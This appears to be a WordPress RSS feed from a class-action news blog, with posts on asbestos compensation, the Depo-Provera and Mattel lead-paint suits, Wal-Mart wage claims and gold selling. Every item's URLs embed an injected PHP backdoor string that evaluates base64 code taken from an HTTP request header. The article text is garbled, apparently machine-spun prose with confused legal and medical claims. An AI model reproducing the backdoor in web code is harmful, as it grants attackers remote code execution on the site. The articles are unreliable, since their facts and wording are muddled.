<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Class Action Questions</title>
	<atom:link href="http://class-action-questions.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://class-action-questions.com</link>
	<description>Legal Questions Answered On Class Action Suits</description>
	<pubDate>Tue, 27 Jul 2010 13:47:00 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Buying and selling gold</title>
		<link>http://class-action-questions.com/2010/07/27/buying-and-selling-gold/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/buying-and-selling-gold/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 13:47:00 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[articles]]></category>

		<category><![CDATA[curious]]></category>

		<category><![CDATA[everywhere]]></category>

		<category><![CDATA[gold]]></category>

		<category><![CDATA[interest.]]></category>

		<category><![CDATA[jewelry]]></category>

		<category><![CDATA[Money]]></category>

		<category><![CDATA[piqued]]></category>

		<category><![CDATA[popping]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/buying-and-selling-gold/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[It seems that everywhere you look you see this ad says buy gold. It is a ton of them, where you can submit articles and now are popping up locally as well. I heard so much that I am curious so I checked the issue. I happen to have some of my own that jewelry [...]]]></description>
			<content:encoded><![CDATA[<p>It seems that everywhere you look you see this ad says buy gold. It is a ton of them, where you can submit articles and now are popping up locally as well. I heard so much that I am curious so I checked the issue. I happen to have some of my own that jewelry around, I never use it and then we need extra money really bad, so I decided to take a place here locally and a piece of gold, which was around 10k I got about $ 100 for it.</p>
<p>Well, that piqued my interest, so I am online and check sites like eBay and Amazon, I bought a couple of pieces from that time to really cheap and once I took back in place and I went at all times. Some things you want to consider is do not buy more than they can afford to start from scratch, then you can always increase if desired. So the least that I noticed is that when I go to eBay to bid for those who are just a few cents and when you look at the time of offering it when it happened a few minutes ago and now offers it go ahead and place your bid.</p>
<p>When making one of only a few cents there is no need to pay is shipping costs. When you buy gold jewelry on eBay or any other site that you want the money you want to call attention to information like number of carats and has some terms you want to be conscious of how gold-plated fund is not value of some of the descriptions of the GP is a gold-plated. Gold is also full of something of value, but not so much. So you want to know things like this, when you buy online make sure to read the description and FINE print throughout.</p>
<p>To find places to buy gold you get, you can choose to find places online where you can send your articles you want, but keep in mind that go with this option requires a little more. If you choose to do at the hotel to go different places and that prices may vary from one place to another also be aware that if you choose a pawn shop give you a smaller amount than you normally can get.</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/buying-and-selling-gold/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Vetrans &amp; Asbestos</title>
		<link>http://class-action-questions.com/2010/07/27/vetrans-asbestos-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/vetrans-asbestos-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 13:30:15 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[advance]]></category>

		<category><![CDATA[asbestos]]></category>

		<category><![CDATA[diseases]]></category>

		<category><![CDATA[fatal]]></category>

		<category><![CDATA[related]]></category>

		<category><![CDATA[survivors]]></category>

		<category><![CDATA[Veterans]]></category>

		<category><![CDATA[virtually.]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/vetrans-asbestos-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[  Asbestos+ Veterans given the advanced age of our WW II veterans survivors, time is short for these victims of asbestos related diseases. Veterans diagnosed with fatal diseases related to asbestos, such as mesothelioma and lung cancer, it is virtually impossible to obtain compensation for their exposure under the current system. If the veterans [...]]]></description>
			<content:encoded><![CDATA[<p>  Asbestos+ Veterans given the advanced age of our WW II veterans survivors, time is short for these victims of asbestos related diseases. Veterans diagnosed with fatal diseases related to asbestos, such as mesothelioma and lung cancer, it is virtually impossible to obtain compensation for their exposure under the current system. If the veterans are trying to sue a company that once supplied the equipment for the government, facing a line in the courthouse that takes years to navigate - years that veterans honestly not the worst. Today there are over 500,000 cases of asbestos in the courts and more accumulate every day. Many of these cases were brought by lawyers on behalf of people who do not even have symptoms of diseases related to asbestos. Finally, on Capitol Hill are serious about fixing some of this moral crisis that is so harmful to veterans. The Judiciary Committee began work on equity Asbestos Resolution Act of injuries, and the FAIR Act.</p>
<p>This legislation should ensure that veterans suffering from asbestos-related disease, finally a fair compensation and certain. If the senators let this opportunity pass, we can never get so close to a solution. More veterans are dying of diseases related to asbestos without compensation. We must not let this happen. As veteran, I urge Senator Cornyn, a member of the Judiciary Committee to support this critical legislation for veterans. And I ask senators to vote in Texas FAIR Act, when it comes to the Senate.</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/vetrans-asbestos-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Want to know more about the exhibition of the Law?</title>
		<link>http://class-action-questions.com/2010/07/27/want-to-know-more-about-the-exhibition-of-the-law/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/want-to-know-more-about-the-exhibition-of-the-law/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 13:24:16 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[bankruptcy]]></category>

		<category><![CDATA[Companies]]></category>

		<category><![CDATA[compensation]]></category>

		<category><![CDATA[expenditure]]></category>

		<category><![CDATA[FUNDING]]></category>

		<category><![CDATA[replacement]]></category>

		<category><![CDATA[Resolution]]></category>

		<category><![CDATA[revenue]]></category>

		<category><![CDATA[trusts  asbestos]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/want-to-know-more-about-the-exhibition-of-the-law/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[FUNDING - Companies will pay 90 billion over 30 years depending on the expenditure and revenue before asbestos. Insurers will pay U.S. $ 46 billion over 27 years. The bill goes beyond four billion dollars will come from the existing bankruptcy trusts asbestos. 
MANAGEMENT - The replacement of asbestos Resolution Fund is managed by the [...]]]></description>
			<content:encoded><![CDATA[<p>FUNDING - Companies will pay 90 billion over 30 years depending on the expenditure and revenue before asbestos. Insurers will pay U.S. $ 46 billion over 27 years. The bill goes beyond four billion dollars will come from the existing bankruptcy trusts asbestos. </p>
<p>MANAGEMENT - The replacement of asbestos Resolution Fund is managed by the Asbestos Disease Compensation U.S. Department of Labor. </p>
<p>PRICE - There are nine price levels, depending on the severity of the disease. Payments ranged from $ 25,000 for breathing value at $ 1,100,000 for victims of mesothelioma, a particularly lethal cancer of the membrane lining the thoracic and abdominal cavities. cases of lung cancer begins to $ 300,000. Medical monitoring is provided for applicants to asbestos, but no symptoms.<br />
REQUIREMENTS - Applicants must have a minimum of five years cumulative workplace exposure to asbestos, or take away exhibition of the same duration. recipients of cash must be characteristic markers of exposure to asbestos in their lungs. Claims must be filed within five years after diagnosis. There are no limits on additional allowances if the disease progresses.<br />
Courts - asbestos claims that have not progressed to a trial should go to the box. People with urgent claims can choose to seek an amicable solution, but you can not recover more than 150 percent of the allocation of matching funds. If the fund is not operational in nine months, urgent requests can return to court. Other assets can return to court if the fund is not operational in two years.</p>
<p> EXCEPTIONS - An applicant who does not meet the medical criteria can still apply. A medical committee will consider the request. The final decision is taken by the administrator. </p>
<p>WORKERS COMPENSATION - A cash payment will not affect a claim for worker&#8217;s compensation or insurance.<br />
Clause MONTANA - Residents of Libby, Montana, released from the obligation to prove the exposure if they lived in or within 20 km of the 12 months prior to December 31, 2004. Libby residents who meet certain medical criteria are automatically assigned to at least $ 400,000 each.<br />
Lawyer&#8217;s fees - up to 5 percent of the fund prizes. END background - the program can not be suspended for the review and the administrator of the fund was given the opportunity to revise the program, to propose new medical criteria. Dismissal claims can go back to court. ban of asbestos - one year after enactment, the administrator of the fund to develop standards that prohibit the manufacture, processing and distribution of products containing asbestos. The MoD may release asbestos products important to national security.</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/want-to-know-more-about-the-exhibition-of-the-law/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Class Action Alternative</title>
		<link>http://class-action-questions.com/2010/07/27/class-action-alternative/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/class-action-alternative/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 13:07:05 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[claims]]></category>

		<category><![CDATA[Disability]]></category>

		<category><![CDATA[employer]]></category>

		<category><![CDATA[insurance]]></category>

		<category><![CDATA[Social Security.]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/class-action-alternative/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Disability insurance Disability claims may be lodged if there is such a private insurance or employer. 
Social Security Disability Disability
claims can provide a federal system of social security. workers compensation only if the asbestos can be combined with specific job-site may have a claim against an employee and the employer. It&#8217;s also possible that the [...]]]></description>
			<content:encoded><![CDATA[<p>Disability insurance Disability claims may be lodged if there is such a private insurance or employer. </p>
<p>Social Security Disability Disability<br />
claims can provide a federal system of social security. workers compensation only if the asbestos can be combined with specific job-site may have a claim against an employee and the employer. It&#8217;s also possible that the claim of a worker is incompatible with the pursuit of other remedies, so it is advisable to consult a lawyer before taking any other road or recovery of money.</p>
<p>Legal Help<br />
mesothelioma litigation is divided into two categories - one where the person suffering from mesothelioma is living (a personal injury case), and another where the person with mesothelioma is deceased (death bad), and applicant is the spouse and / or relative to represent the estate of the deceased. When the person who would normally be the claimant has died, a replacement person (usually a spouse or close relative) stands in as a plaintiff, and injuries claimed include the loss of life itself. The most important part of a case of unlawful killing is to find people who worked with the plaintiff to prove that the deceased would be given work regarding the history and asbestos.</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/class-action-alternative/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Settlement reached in function asbestos WV</title>
		<link>http://class-action-questions.com/2010/07/27/settlement-reached-in-function-asbestos-wv-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/settlement-reached-in-function-asbestos-wv-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 13:01:23 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[asbestos]]></category>

		<category><![CDATA[former]]></category>

		<category><![CDATA[health]]></category>

		<category><![CDATA[settlement]]></category>

		<category><![CDATA[surveillance .]]></category>

		<category><![CDATA[University]]></category>

		<category><![CDATA[West Virginia]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/settlement-reached-in-function-asbestos-wv-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[West Virginia University has reached a settlement class-action case that affects up to 5600 current employees and former employees may have been exposed to asbestos, the school announced Tuesday. As part of the solution and pay WVU to launch a program of health surveillance will be implemented for 20 years. WVU also agreed to pay [...]]]></description>
			<content:encoded><![CDATA[<p>West Virginia University has reached a settlement class-action case that affects up to 5600 current employees and former employees may have been exposed to asbestos, the school announced Tuesday. As part of the solution and pay WVU to launch a program of health surveillance will be implemented for 20 years. WVU also agreed to pay a $ 1,000,000 to cover potential claims and legal costs. The court must approve the agreement before it becomes final. The hearing is scheduled for December 22.</p>
<p>University employees continued in 2000 and sought medical monitoring for potential health problems related to asbestos after working in university buildings containing asbestos insulation. The workers, including teachers, custodians, secretaries and other staff, alleged that asbestos in campus buildings to put them at increased risk of cancer. The university said in a statement that the agreement has been reached in the compromise.</p>
<p>WVU maintains that all practices recognized standard for asbestos removal have been observed in recent years, and that the population of workers through routine monitoring of buildings and air samples are safe from any harmful effects of materials containing asbestos, said University. Until the 1970s, asbestos was widely appreciated for its resistance to fire and heat. Since then, the medical community has warned that asbestos, when inhaled can cause diseases such as mesothelioma, a rare and little in the form of lung cancer. It will also cause asbestosis, an irreversible scarring of the lung and other lung diseases.</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/settlement-reached-in-function-asbestos-wv-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Class Action Over Pfizer’s Depo-Provera</title>
		<link>http://class-action-questions.com/2010/07/27/class-action-over-pfizer%e2%80%99s-depo-provera/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/class-action-over-pfizer%e2%80%99s-depo-provera/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 12:54:44 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[birth control]]></category>

		<category><![CDATA[Canadian]]></category>

		<category><![CDATA[injection .]]></category>

		<category><![CDATA[meaning]]></category>

		<category><![CDATA[osteoporosis]]></category>

		<category><![CDATA[pregnancy]]></category>

		<category><![CDATA[prevent]]></category>

		<category><![CDATA[problems]]></category>

		<category><![CDATA[search]]></category>

		<category><![CDATA[self-provide]]></category>

		<category><![CDATA[women]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/class-action-over-pfizer%e2%80%99s-depo-provera/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Canadian women in search of meaning and without problems to prevent pregnancy can easily be self-provided osteoporosis, which weakens bones and is likely to fracture. $ 700,000,000 class action lawsuit is filed against those responsible for Depo-Provera birth control injection prescribed more than 600 thousand years ago Canadians. Lawsuit contends that women with contraceptive efficacy [...]]]></description>
			<content:encoded><![CDATA[<p>Canadian women in search of meaning and without problems to prevent pregnancy can easily be self-provided osteoporosis, which weakens bones and is likely to fracture. $ 700,000,000 class action lawsuit is filed against those responsible for Depo-Provera birth control injection prescribed more than 600 thousand years ago Canadians. Lawsuit contends that women with contraceptive efficacy has developed osteoporosis. Depo-Provera is an international drug conglomerate also responsible for popular prescription drugs Viagra Pfizer, Celebrex and Zoloft. Users will have the injection every three months and less than one percent chance of becoming the drug during pregnancy, the drug manufacturer&#8217;s website.</p>
<p>Tracey Bourque, 33, recently discovered, is the bone density of women of 55 years. Bourque and her doctor wonder if it is linked to his use of Depo-Provera. Depo-Provera was tested in 1980 and approved in Canada in 1997. Two million prescriptions were written for drugs in Canada over the past four years. A year ago, Pfizer warned Canadian authorities and U.S. drug can lead to bone loss. The United States emits an alarm shortly after saying drug should not be used for long-term contraception. Health Canada issued similar statements in the November 2004 and June and July this year. The data show that women who use Depo-Provera may lose significant (bone density), states the July Health Canada warning. The data also indicate that bone loss is even longer use and can not be completely reversible. </p>
<p>According to lawyer Glyn Hotz, Bourque is not the only person concerned. He told CTV that has filed a class action lawsuit on behalf of a group of women who are also concerned about a link between Depo-Provera and bone deterioration. We have seen people who have had multiple fractures, requiring knee replacements, he said Monday. We have someone who is in his twenties who is on the verge of a hip replacement.</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/class-action-over-pfizer%e2%80%99s-depo-provera/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Suit against the toy company Mattel lead paint</title>
		<link>http://class-action-questions.com/2010/07/27/suit-against-the-toy-company-mattel-lead-paint/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/suit-against-the-toy-company-mattel-lead-paint/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 12:46:04 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[against]]></category>

		<category><![CDATA[argest toy]]></category>

		<category><![CDATA[corporate]]></category>

		<category><![CDATA[distribution.]]></category>

		<category><![CDATA[lawsuit]]></category>

		<category><![CDATA[products]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/suit-against-the-toy-company-mattel-lead-paint/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[A lawsuit was filed on Monday against Mattel - the largest toy, the U.S. - Because many corporate products were found to contain excessive amounts of lead. A little over a week, Mattel recalled hundreds of thousands of toy vehicle distribution die because the paint used on toys containing dangerous levels of lead. (Cars depicted [...]]]></description>
			<content:encoded><![CDATA[<p>A lawsuit was filed on Monday against Mattel - the largest toy, the U.S. - Because many corporate products were found to contain excessive amounts of lead. A little over a week, Mattel recalled hundreds of thousands of toy vehicle distribution die because the paint used on toys containing dangerous levels of lead. (Cars depicted the character Sarge from the movie Cars from Pixar 2006.) Several weeks before that, nearly a million toys were recalled by a subsidiary of Mattel, for the same reason. (These toys are those that represent the characters of Sesame Street at the time and Dora the Explorer.) All the products in question were actually manufactured in China.</p>
<p>Similar (but different), costume made earlier this month in Florida is also a target of class action status. Lead is particularly toxic to the brain and the body of young children. It can cause learning difficulties, blood, brain diseases and nervous system damage. Mattel is the parent company of Fisher-Price, American Girl, Radica and the United States. If you think you have a toy that has been affected by a recall</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/suit-against-the-toy-company-mattel-lead-paint/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Oregon hospital settles on uninsured patients</title>
		<link>http://class-action-questions.com/2010/07/27/oregon-hospital-settles-on-uninsured-patients/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/oregon-hospital-settles-on-uninsured-patients/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 12:35:43 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[class-action]]></category>

		<category><![CDATA[closely]]></category>

		<category><![CDATA[hospital]]></category>

		<category><![CDATA[lawsuit]]></category>

		<category><![CDATA[major]]></category>

		<category><![CDATA[overloaded.]]></category>

		<category><![CDATA[PORTLAND]]></category>

		<category><![CDATA[reached]]></category>

		<category><![CDATA[settlement]]></category>

		<category><![CDATA[trial]]></category>

		<category><![CDATA[watched]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/oregon-hospital-settles-on-uninsured-patients/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[PORTLAND, Ore. - A settlement was reached Tuesday in a closely watched trial class action lawsuit filed on behalf of uninsured patients who claim a non-profit hospital major overloaded. Complaint alleges that Providence Hospital System contradicted its mission to ensure access to health care of uninsured patients higher rates for the same services as other [...]]]></description>
			<content:encoded><![CDATA[<p>PORTLAND, Ore. - A settlement was reached Tuesday in a closely watched trial class action lawsuit filed on behalf of uninsured patients who claim a non-profit hospital major overloaded. Complaint alleges that Providence Hospital System contradicted its mission to ensure access to health care of uninsured patients higher rates for the same services as other patients.</p>
<p>The agreement, if approved by the court, will affect tens of thousands of lower income Oregonian, lawyers say. This is a historic agreement and it will, said Brian Campf, an attorney representing uninsured patients. Similar lawsuits have been filed against hundreds of hospitals in at least 27 states where nonprofit hospitals exempt Tax higher prices for uninsured patients than insured patients.</p>
<p>The regulation covers medical expenses for uninsured patients at hospitals in Providence in September Oregon over six years, four years and the next two years. All fees will be recalculated. </p>
<p>The trial is part of a national campaign Richard Scruggs, a Mississippi lawyer who helped win settlements of billions of dollars with the tobacco industry in the 1990s to pay for states associated with smoking costs care. Other hospitals across the country should seriously consider that option, said Sid Bäckström, spokesman for the Scruggs law firm.</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/oregon-hospital-settles-on-uninsured-patients/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Jury Awards $ 172M CDN for Wal-Mart</title>
		<link>http://class-action-questions.com/2010/07/27/jury-awards-172m-cdn-for-wal-mart/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/jury-awards-172m-cdn-for-wal-mart/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 12:29:51 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[California]]></category>

		<category><![CDATA[denied]]></category>

		<category><![CDATA[illegally]]></category>

		<category><![CDATA[lunch breaks.]]></category>

		<category><![CDATA[million]]></category>

		<category><![CDATA[Oakland]]></category>

		<category><![CDATA[Stores]]></category>

		<category><![CDATA[thousands]]></category>

		<category><![CDATA[Wal-Mart]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/jury-awards-172m-cdn-for-wal-mart/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Oakland, California - A California jury on Thursday received $ 172 million to thousands of Wal-Mart Stores Inc. who claimed they were illegally denied lunch breaks. The world&#8217;s largest retailer was ordered to pay $ 57 million in general damages and $ 115 million in punitive damages to about 116,000 current and former California employees [...]]]></description>
			<content:encoded><![CDATA[<p>Oakland, California - A California jury on Thursday received $ 172 million to thousands of Wal-Mart Stores Inc. who claimed they were illegally denied lunch breaks. The world&#8217;s largest retailer was ordered to pay $ 57 million in general damages and $ 115 million in punitive damages to about 116,000 current and former California employees for violating a 2001 law stated that employers are required to give 30-minute unpaid lunch breaks to employees who work at least six hours. The injury was originally reported as $ 207,000,000 after a court clerk misread the punitive damages of $ 150 million. The amount of punitive damages was later clarified. The class action lawsuit in the Superior Court of Alameda County is one of 40 national workplace violations by Wal-Mart, and the first to go to court. The Bentonville, Arkansas-based retailer earned 10 billion dollars last year, settled a similar dispute in Colorado for $ 50 million.</p>
<p>California dress lunchtime, Wal-Mart claimed that workers did not ask for penalty wages on time. Under the law, the company has to pay full wages for hourly workers left for lunch. The company also said it would pay employees their penalty pay and in 2003, most workers agreed to waive their meal period influenced the law allows.</p>
<p>The demand for employees, past and present in California from 2001-2005. The workers claimed they were owed more than $ 66 million plus interest, and sought damages to punish the company for alleged wrongdoing. The lawsuit was filed by several employees of Wal-Mart high level in the Bay of San Francisco in 2001, but it took four years of legal wrangling to get to trial.</p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/jury-awards-172m-cdn-for-wal-mart/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>College fees challenged in California</title>
		<link>http://class-action-questions.com/2010/07/27/college-fees-challenged-in-california/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://class-action-questions.com/2010/07/27/college-fees-challenged-in-california/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 12:23:44 +0000</pubDate>
		<dc:creator>Sekhar</dc:creator>
		
		<category><![CDATA[Class Action Lawsuits]]></category>

		<category><![CDATA[allows]]></category>

		<category><![CDATA[California]]></category>

		<category><![CDATA[citizens.]]></category>

		<category><![CDATA[high school]]></category>

		<category><![CDATA[law]]></category>

		<category><![CDATA[least]]></category>

		<category><![CDATA[participate]]></category>

		<category><![CDATA[students]]></category>

		<guid isPermaLink="false">http://class-action-questions.com/2010/07/27/college-fees-challenged-in-california/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[The 2002 law allows students participating in at least three years of high school in California to receive the same tax breaks given in the State of California citizens, regardless of their status as immigrants. The lower fees can save students thousands of dollars per year. For example, students in the state pay nearly $ [...]]]></description>
			<content:encoded><![CDATA[<p>The 2002 law allows students participating in at least three years of high school in California to receive the same tax breaks given in the State of California citizens, regardless of their status as immigrants. The lower fees can save students thousands of dollars per year. For example, students in the state pay nearly $ 24,000 per year to attend the University of California, about $ 17,000 more than California residents. The action was filed in Yolo County, on behalf of 42 plaintiffs, including two children of a former congressman from San Diego. Nine UC Davis student is the largest group seeking a campus.</p>
<p>Lawyers for the defendants that the discriminatory policy affects 60,000 students from out-of-state to pay higher taxes than the state of illegal immigrants. Candidates seeking damages. The class is bigger every year because every year thousands of law-abiding freshmen enter our system, said Redwood City attorney Michael Brady. It is a federal law, the appellants contend, in particular the Member bars offer benefits to illegal immigrants without also making available to U.S. citizens. California is one of nine states with laws on blacks students obtain lower prices for state education. Lawsuit filed in federal court in Kansas challenging that state law was dismissed but is being appealed.</p>
<p>To qualify for the state rate, students attended high school in California for at least three years, must graduate from high school in California and must sign a declaration saying they will seek to become legal residents as soon as possible. Suzanne Kattija-Ari, 23, a UC Davis veterinary student from Hawaii whose father immigrated from Thailand in the 1970s, said the fee break is unfair to those who obey the law, but end up paying more than their illegal counterparts. She said she had to work several part-time jobs and student loans to pay high fees outside the state. It&#8217;s not so much that they got that advantage and we do not, it&#8217;s just the injustice of it, she said. They are 18 now. They should do the right thing, apply for citizenship. </p>
]]></content:encoded>
			<wfw:commentRss>http://class-action-questions.com/2010/07/27/college-fees-challenged-in-california/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
